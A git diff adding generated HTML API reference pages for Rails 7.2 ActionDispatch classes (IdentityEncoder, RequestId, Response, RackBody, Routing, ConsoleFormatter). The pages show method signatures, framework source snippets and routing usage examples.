diff --git a/src/7.2/classes/ActionDispatch/RequestEncoder/IdentityEncoder.html b/src/7.2/classes/ActionDispatch/RequestEncoder/IdentityEncoder.html new file mode 100644 index 0000000000..c2733b0b5c --- /dev/null +++ b/src/7.2/classes/ActionDispatch/RequestEncoder/IdentityEncoder.html @@ -0,0 +1,216 @@ +--- +title: ActionDispatch::RequestEncoder::IdentityEncoder +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + accept_header() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/request_encoder.rb, line 11
+      def accept_header; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_type() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/request_encoder.rb, line 10
+      def content_type; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encode_params(params) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/request_encoder.rb, line 12
+      def encode_params(params); params; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + response_parser() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/request_encoder.rb, line 13
+      def response_parser; -> body { body }; end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/RequestId.html b/src/7.2/classes/ActionDispatch/RequestId.html new file mode 100644 index 0000000000..ad726a4b40 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/RequestId.html @@ -0,0 +1,164 @@ +--- +title: ActionDispatch::RequestId +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch RequestId

+ +

Makes a unique request id available to the action_dispatch.request_id env variable (which is then accessible through ActionDispatch::Request#request_id or the alias ActionDispatch::Request#uuid) and sends the same id to the client via the X-Request-Id header.

+ +

The unique request id is either based on the X-Request-Id header in the request, which would typically be generated by a firewall, load balancer, or the web server, or, if this header is not available, a random uuid. If the header is accepted from the outside world, we sanitize it to a max of 255 chars and alphanumeric and dashes only.

+ +

The unique request id can be used to trace a request end-to-end and would typically end up being part of log files from multiple pieces of the stack.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, header:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/request_id.rb, line 25
+    def initialize(app, header:)
+      @app = app
+      @header = header
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/request_id.rb, line 30
+    def call(env)
+      req = ActionDispatch::Request.new env
+      req.request_id = make_request_id(req.headers[@header])
+      @app.call(env).tap { |_status, headers, _body| headers[@header] = req.request_id }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Response.html b/src/7.2/classes/ActionDispatch/Response.html new file mode 100644 index 0000000000..7696f41800 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Response.html @@ -0,0 +1,1913 @@ +--- +title: ActionDispatch::Response +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Response

+ +

Represents an HTTP response generated by a controller action. Use it to retrieve the current state of the response, or customize the response. It can either represent a real HTTP response (i.e. one that is meant to be sent back to the web browser) or a TestResponse (i.e. one that is generated from integration tests).

+ +

The Response object for the current request is exposed on controllers as ActionController::Metal#response. ActionController::Metal also provides a few additional methods that delegate to attributes of the Response such as ActionController::Metal#headers.

+ +

Integration tests will likely also want to inspect responses in more detail. Methods such as Integration::RequestHelpers#get and Integration::RequestHelpers#post return instances of TestResponse (which inherits from Response) for this purpose.

+ +

For example, the following demo integration test prints the body of the controller response to the console:

+ +
class DemoControllerTest < ActionDispatch::IntegrationTest
+  def test_print_root_path_to_console
+    get('/')
+    puts response.body
+  end
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CONTENT_TYPE="Content-Type"
ContentTypeHeader=Struct.new :mime_type, :charset
Header=Headers
 

To be deprecated:

Headers=::Rack::Headers
NO_CONTENT_CODES=[100, 101, 102, 103, 204, 205, 304]
NullContentTypeHeader=ContentTypeHeader.new nil, nil
SET_COOKIE="Set-Cookie"
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + header

The headers for the response.

+ +
header["Content-Type"] # => "text/plain"
+header["Content-Type"] = "application/json"
+header["Content-Type"] # => "application/json"
+
+ +

Also aliased as headers.

+ +
headers["Content-Type"] # => "text/plain"
+headers["Content-Type"] = "application/json"
+headers["Content-Type"] # => "application/json"
+
+ +

Also aliased as header for compatibility.

+ [R] + headers

The headers for the response.

+ +
header["Content-Type"] # => "text/plain"
+header["Content-Type"] = "application/json"
+header["Content-Type"] # => "application/json"
+
+ +

Also aliased as headers.

+ +
headers["Content-Type"] # => "text/plain"
+headers["Content-Type"] = "application/json"
+headers["Content-Type"] # => "application/json"
+
+ +

Also aliased as header for compatibility.

+ [RW] + request

The request that the response is responding to.

+ [R] + status

The HTTP status code.

+ [R] + stream

The underlying body, as a streamable object.

+ + + + +

Class Public methods

+ +
+

+ + create(status = 200, headers = {}, body = [], default_headers: self.default_headers) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 159
+    def self.create(status = 200, headers = {}, body = [], default_headers: self.default_headers)
+      headers = merge_default_headers(headers, default_headers)
+      new status, headers, body
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + merge_default_headers(original, default) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 164
+    def self.merge_default_headers(original, default)
+      default.respond_to?(:merge) ? default.merge(original) : original
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(status = 200, headers = nil, body = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 171
+    def initialize(status = 200, headers = nil, body = [])
+      super()
+
+      @headers = Headers.new
+
+      headers&.each do |key, value|
+        @headers[key] = value
+      end
+
+      self.body, self.status = body, status
+
+      @cv           = new_cond
+      @committed    = false
+      @sending      = false
+      @sent         = false
+
+      prepare_cache_control!
+
+      yield self if block_given?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + abort() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 396
+    def abort
+      if stream.respond_to?(:abort)
+        stream.abort
+      elsif stream.respond_to?(:close)
+        # `stream.close` should really be reserved for a close from the other direction,
+        # but we must fall back to it for compatibility.
+        stream.close
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + await_commit() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 197
+    def await_commit
+      synchronize do
+        @cv.wait_until { @committed }
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + await_sent() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 203
+    def await_sent
+      synchronize { @cv.wait_until { @sent } }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + body() + +

+ + +
+

Returns the content of the response as a string. This contains the contents of any calls to render.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 330
+    def body
+      @stream.body
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + body=(body) + +

+ + +
+

Allows you to manually set or override the response body.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 339
+    def body=(body)
+      if body.respond_to?(:to_path)
+        @stream = body
+      else
+        synchronize do
+          @stream = build_buffer self, munge_body_object(body)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + body_parts() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 383
+    def body_parts
+      parts = []
+      @stream.each { |x| parts << x }
+      parts
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + charset() + +

+ + +
+

The charset of the response. HTML wants to know the encoding of the content you’re giving them, so we need to send that along.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 300
+    def charset
+      header_info = parsed_content_type_header
+      header_info.charset || self.class.default_charset
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + charset=(charset) + +

+ + +
+

Sets the HTTP character set. In case of nil parameter it sets the charset to default_charset.

+ +
response.charset = 'utf-16' # => 'utf-16'
+response.charset = nil      # => 'utf-8'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 289
+    def charset=(charset)
+      content_type = parsed_content_type_header.mime_type
+      if false == charset
+        set_content_type content_type, nil
+      else
+        set_content_type content_type, charset || self.class.default_charset
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + close() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 392
+    def close
+      stream.close if stream.respond_to?(:close)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + code() + +

+ + +
+

Returns a string to ensure compatibility with Net::HTTPResponse.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 311
+    def code
+      @status.to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + commit!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 207
+    def commit!
+      synchronize do
+        before_committed
+        @committed = true
+        @cv.broadcast
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + committed?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 231
+    def committed?; synchronize { @committed }; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_type() + +

+ + +
+

Content type of response.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 269
+    def content_type
+      super.presence
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_type=(content_type) + +

+ + +
+

Sets the HTTP response’s content MIME type. For example, in the controller you could write this:

+ +
response.content_type = "text/plain"
+
+ +

If a character set has been defined for this response (see charset=) then the character set information will also be included in the content type information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 259
+    def content_type=(content_type)
+      return unless content_type
+      new_header_info = parse_content_type(content_type.to_s)
+      prev_header_info = parsed_content_type_header
+      charset = new_header_info.charset || prev_header_info.charset
+      charset ||= self.class.default_charset unless prev_header_info.mime_type
+      set_content_type new_header_info.mime_type, charset
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cookies() + +

+ + +
+

Returns the response cookies, converted to a Hash of (name => value) pairs

+ +
assert_equal 'AuthorOfNewPage', r.cookies['author']
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 419
+    def cookies
+      cookies = {}
+      if header = get_header(SET_COOKIE)
+        header = header.split("\n") if header.respond_to?(:to_str)
+        header.each do |cookie|
+          if pair = cookie.split(";").first
+            key, value = pair.split("=").map { |v| Rack::Utils.unescape(v) }
+            cookies[key] = value
+          end
+        end
+      end
+      cookies
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_header(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 195
+    def delete_header(key); @headers.delete key; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 77
+    def each(&block)
+      sending!
+      x = @stream.each(&block)
+      sent!
+      x
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + get_header(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 193
+    def get_header(key);    @headers[key];       end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_header?(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 192
+    def has_header?(key);   @headers.key? key;   end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + location + +

+ + +
+

Location of the response.

+
+ + + +
+ Also aliased as: redirect_url +
+ + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + location=(location) + + +

+ + +
+

Sets the location of the response

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + media_type() + +

+ + +
+

Media type of response.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 274
+    def media_type
+      parsed_content_type_header.mime_type
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + message() + +

+ + +
+

Returns the corresponding message for the current HTTP status code:

+ +
response.status = 200
+response.message # => "OK"
+
+response.status = 404
+response.message # => "Not Found"
+
+
+ + + +
+ Also aliased as: status_message +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 323
+    def message
+      Rack::Utils::HTTP_STATUS_CODES[@status]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prepare!() + +

+ + +
+ +
+ + + + + +
+ Alias for: to_a +
+ + + + +
+ +
+

+ + redirect_url + +

+ + +
+

The location header we’ll be responding with.

+
+ + + + + +
+ Alias for: location +
+ + + + +
+ +
+

+ + reset_body!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 379
+    def reset_body!
+      @stream = build_buffer(self, [])
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + response_code() + +

+ + +
+

The response code of the request.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 306
+    def response_code
+      @status
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + send_file(path) + +

+ + +
+

Send the file stored at path as the response body.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 374
+    def send_file(path)
+      commit!
+      @stream = FileBody.new(path)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sending!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 215
+    def sending!
+      synchronize do
+        before_sending
+        @sending = true
+        @cv.broadcast
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sending?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 230
+    def sending?;   synchronize { @sending };   end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sending_file=(v) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 278
+    def sending_file=(v)
+      if true == v
+        self.charset = false
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sent!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 223
+    def sent!
+      synchronize do
+        @sent = true
+        @cv.broadcast
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sent?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 232
+    def sent?;      synchronize { @sent };      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_header(key, v) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 194
+    def set_header(key, v); @headers[key] = v;   end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + status=(status) + +

+ + +
+

Sets the HTTP status code.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 247
+    def status=(status)
+      @status = Rack::Utils.status_code(status)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + status_message() + +

+ + +
+ +
+ + + + + +
+ Alias for: message +
+ + + + +
+ +
+

+ + to_a() + +

+ + +
+

Turns the Response into a Rack-compatible array of the status, headers, and body. Allows explicit splatting:

+ +
status, headers, body = *response
+
+
+ + + +
+ Also aliased as: prepare! +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 410
+    def to_a
+      commit!
+      rack_response @status, @headers.to_hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write(string) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 334
+    def write(string)
+      @stream.write string
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Response/RackBody.html b/src/7.2/classes/ActionDispatch/Response/RackBody.html new file mode 100644 index 0000000000..0dbe3aa483 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Response/RackBody.html @@ -0,0 +1,402 @@ +--- +title: ActionDispatch::Response::RackBody +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
BODY_METHODS={ to_ary: true, each: true, call: true, to_path: true }
+ + + + + + +

Class Public methods

+ +
+

+ + new(response) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 498
+      def initialize(response)
+        @response = response
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + body() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 508
+      def body
+        @response.body
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + call(*arguments, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 530
+      def call(*arguments, &block)
+        @response.stream.call(*arguments, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + close() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 502
+      def close
+        # Rack "close" maps to Response#abort, and **not** Response#close (which is used
+        # when the controller's finished writing)
+        @response.abort
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(*args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 526
+      def each(*args, &block)
+        @response.each(*args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + respond_to?(method, include_private = false) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 514
+      def respond_to?(method, include_private = false)
+        if BODY_METHODS.key?(method)
+          @response.stream.respond_to?(method)
+        else
+          super
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_ary() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 522
+      def to_ary
+        @response.stream.to_ary
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/response.rb, line 534
+      def to_path
+        @response.stream.to_path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing.html b/src/7.2/classes/ActionDispatch/Routing.html new file mode 100644 index 0000000000..67cba1a4c6 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing.html @@ -0,0 +1,354 @@ +--- +title: ActionDispatch::Routing +layout: default +--- +
+ +
+
+ +
+ +

The routing module provides URL rewriting in native Ruby. It’s a way to redirect incoming requests to controllers and actions. This replaces mod_rewrite rules. Best of all, Rails’ Routing works with any web server. Routes are defined in config/routes.rb.

+ +

Think of creating routes as drawing a map for your requests. The map tells them where to go based on some predefined pattern:

+ +
Rails.application.routes.draw do
+  Pattern 1 tells some request to go to one place
+  Pattern 2 tell them to go to another
+  ...
+end
+
+ +

The following symbols are special:

+ +
:controller maps to your controller name
+:action     maps to an action with your controllers
+
+ +

Other names simply map to a parameter as in the case of :id.

+ +

Resources

+ +

Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your index, show, new, edit, create, update, and destroy actions, a resourceful route declares them in a single line of code:

+ +
resources :photos
+
+ +

Sometimes, you have a resource that clients always look up without referencing an ID. A common example, /profile always shows the profile of the currently logged in user. In this case, you can use a singular resource to map /profile (rather than /profile/:id) to the show action.

+ +
resource :profile
+
+ +

It’s common to have resources that are logically children of other resources:

+ +
resources :magazines do
+  resources :ads
+end
+
+ +

You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an admin namespace. You would place these controllers under the app/controllers/admin directory, and you can group them together in your router:

+ +
namespace "admin" do
+  resources :posts, :comments
+end
+
+ +

Alternatively, you can add prefixes to your path without using a separate directory by using scope. scope takes additional options which apply to all enclosed routes.

+ +
scope path: "/cpanel", as: 'admin' do
+  resources :posts, :comments
+end
+
+ +

For more, see Routing::Mapper::Resources#resources, Routing::Mapper::Scoping#namespace, and Routing::Mapper::Scoping#scope.

+ +

Non-resourceful routes

+ +

For routes that don’t fit the resources mold, you can use the HTTP helper methods get, post, patch, put and delete.

+ +
get 'post/:id', to: 'posts#show'
+post 'post/:id', to: 'posts#create_comment'
+
+ +

Now, if you POST to /posts/:id, it will route to the create_comment action. A GET on the same URL will route to the show action.

+ +

If your route needs to respond to more than one HTTP method (or all methods) then using the :via option on match is preferable.

+ +
match 'post/:id', to: 'posts#show', via: [:get, :post]
+
+ +

Named routes

+ +

Routes can be named by passing an :as option, allowing for easy reference within your source as name_of_route_url for the full URL and name_of_route_path for the URI path.

+ +

Example:

+ +
# In config/routes.rb
+get '/login', to: 'accounts#login', as: 'login'
+
+# With render, redirect_to, tests, etc.
+redirect_to login_url
+
+ +

Arguments can be passed as well.

+ +
redirect_to show_item_path(id: 25)
+
+ +

Use root as a shorthand to name a route for the root path β€œ/”.

+ +
# In config/routes.rb
+root to: 'blogs#index'
+
+# would recognize http://www.example.com/ as
+params = { controller: 'blogs', action: 'index' }
+
+# and provide these named routes
+root_url   # => 'http://www.example.com/'
+root_path  # => '/'
+
+ +

Note: when using controller, the route is simply named after the method you call on the block parameter rather than map.

+ +
# In config/routes.rb
+controller :blog do
+  get 'blog/show'    => :list
+  get 'blog/delete'  => :delete
+  get 'blog/edit'    => :edit
+end
+
+# provides named routes for show, delete, and edit
+link_to @article.title, blog_show_path(id: @article.id)
+
+ +

Pretty URLs

+ +

Routes can generate pretty URLs. For example:

+ +
get '/articles/:year/:month/:day', to: 'articles#find_by_id', constraints: {
+  year:       /\d{4}/,
+  month:      /\d{1,2}/,
+  day:        /\d{1,2}/
+}
+
+ +

Using the route above, the URL β€œlocalhost:3000/articles/2005/11/06” maps to

+ +
params = {year: '2005', month: '11', day: '06'}
+
+ +

Regular Expressions and parameters

+ +

You can specify a regular expression to define a format for a parameter.

+ +
controller 'geocode' do
+  get 'geocode/:postalcode', to: :show, constraints: {
+    postalcode: /\d{5}(-\d{4})?/
+  }
+end
+
+ +

Constraints can include the β€˜ignorecase’ and β€˜extended syntax’ regular expression modifiers:

+ +
controller 'geocode' do
+  get 'geocode/:postalcode', to: :show, constraints: {
+    postalcode: /hx\d\d\s\d[a-z]{2}/i
+  }
+end
+
+controller 'geocode' do
+  get 'geocode/:postalcode', to: :show, constraints: {
+    postalcode: /# Postalcode format
+       \d{5} #Prefix
+       (-\d{4})? #Suffix
+       /x
+  }
+end
+
+ +

Using the multiline modifier will raise an ArgumentError. Encoding regular expression modifiers are silently ignored. The match will always use the default encoding or ASCII.

+ +

External redirects

+ +

You can redirect any path to another path using the redirect helper in your router:

+ +
get "/stories", to: redirect("/posts")
+
+ +

Unicode character routes

+ +

You can specify unicode character routes in your router:

+ +
get "こんにけは", to: "welcome#index"
+
+ +

Routing to Rack Applications

+ +

Instead of a String, like posts#index, which corresponds to the index action in the PostsController, you can specify any Rack application as the endpoint for a matcher:

+ +
get "/application.js", to: Sprockets
+
+ +

Reloading routes

+ +

You can reload routes if you feel you must:

+ +
Rails.application.reload_routes!
+
+ +

This will clear all named routes and reload config/routes.rb if the file has been modified from last load. To absolutely force reloading, use reload!.

+ +

Testing Routes

+ +

The two main methods for testing your routes:

+ +

assert_routing

+ +
def test_movie_route_properly_splits
+  opts = {controller: "plugin", action: "checkout", id: "2"}
+  assert_routing "plugin/checkout/2", opts
+end
+
+ +

assert_routing lets you test whether or not the route properly resolves into options.

+ +

assert_recognizes

+ +
def test_route_has_options
+  opts = {controller: "plugin", action: "show", id: "12"}
+  assert_recognizes opts, "/plugins/show/12"
+end
+
+ +

Note the subtle difference between the two: assert_routing tests that a URL fits options while assert_recognizes tests that a URL breaks into parameters properly.

+ +

In tests you can simply pass the URL or named route to get or post.

+ +
def send_to_jail
+  get '/jail'
+  assert_response :success
+end
+
+def goes_to_login
+  get login_url
+  #...
+end
+
+ +

View a list of all your routes

+ +
$ bin/rails routes
+
+ +

Target a specific controller with -c, or grep routes using -g. Useful in conjunction with --expanded which displays routes vertically.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter.html b/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter.html new file mode 100644 index 0000000000..57b9bed3d2 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter.html @@ -0,0 +1,77 @@ +--- +title: ActionDispatch::Routing::ConsoleFormatter +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Base.html b/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Base.html new file mode 100644 index 0000000000..dae2b94cb2 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/ConsoleFormatter/Base.html @@ -0,0 +1,315 @@ +--- +title: ActionDispatch::Routing::ConsoleFormatter::Base +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 157
+        def initialize
+          @buffer = []
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + header(routes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 171
+        def header(routes)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + no_routes(routes, filter) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 174
+        def no_routes(routes, filter)
+          @buffer <<
+            if routes.none?
+              <<~MESSAGE
+                You don't have any routes defined!
+
+                Please add some routes in config/routes.rb.
+              MESSAGE
+            elsif filter.key?(:controller)
+              "No routes were found for this controller."
+            elsif filter.key?(:grep)
+              "No routes were found for this grep pattern."
+            end
+
+          @buffer << "For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html."
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + result() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 161
+        def result
+          @buffer.join("\n")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + section(routes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/inspector.rb, line 168
+        def section(routes)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

